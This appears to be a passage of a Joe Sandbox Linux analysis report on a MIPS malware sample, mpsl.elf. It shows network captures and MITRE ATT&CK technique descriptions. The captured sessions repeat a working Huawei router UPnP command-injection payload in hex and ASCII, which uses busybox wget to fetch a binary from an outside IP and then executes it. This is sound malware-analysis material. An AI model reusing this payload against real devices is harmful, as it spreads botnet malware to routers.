Dec 3, 2024 22:11:53.159848928 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	47878	156.162.252.29	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.160542965 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	46270	41.4.101.209	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.161247015 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	48390	197.149.109.250	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.161828041 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	33316	156.188.165.91	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.162422895 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: mpsl.elf PID: 6221, Parent PID: 6139

General

Start time (UTC):	21:11:42
Start date (UTC):	03/12/2024
Path:	/tmp/mpsl.elf
Arguments:	/tmp/mpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	21:11:43
Start date (UTC):	03/12/2024
Path:	/tmp/mpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	21:11:43
Start date (UTC):	03/12/2024
Path:	/tmp/mpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	21:11:43
Start date (UTC):	03/12/2024
Path:	/tmp/mpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	21:11:43
Start date (UTC):	03/12/2024
Path:	/tmp/mpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	21:11:43
Start date (UTC):	03/12/2024
Path:	/tmp/mpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: mpsl.elf PID: 6221, Parent PID: 6139

General

Chronological Activities

Analysis Process: mpsl.elf PID: 6223, Parent PID: 6221

General

Chronological Activities

Analysis Process: mpsl.elf PID: 6225, Parent PID: 6223

General

Chronological Activities

Analysis Process: mpsl.elf PID: 6227, Parent PID: 6223

General

Chronological Activities

Analysis Process: mpsl.elf PID: 6230, Parent PID: 6223

Linux Analysis Report
mpsl.elf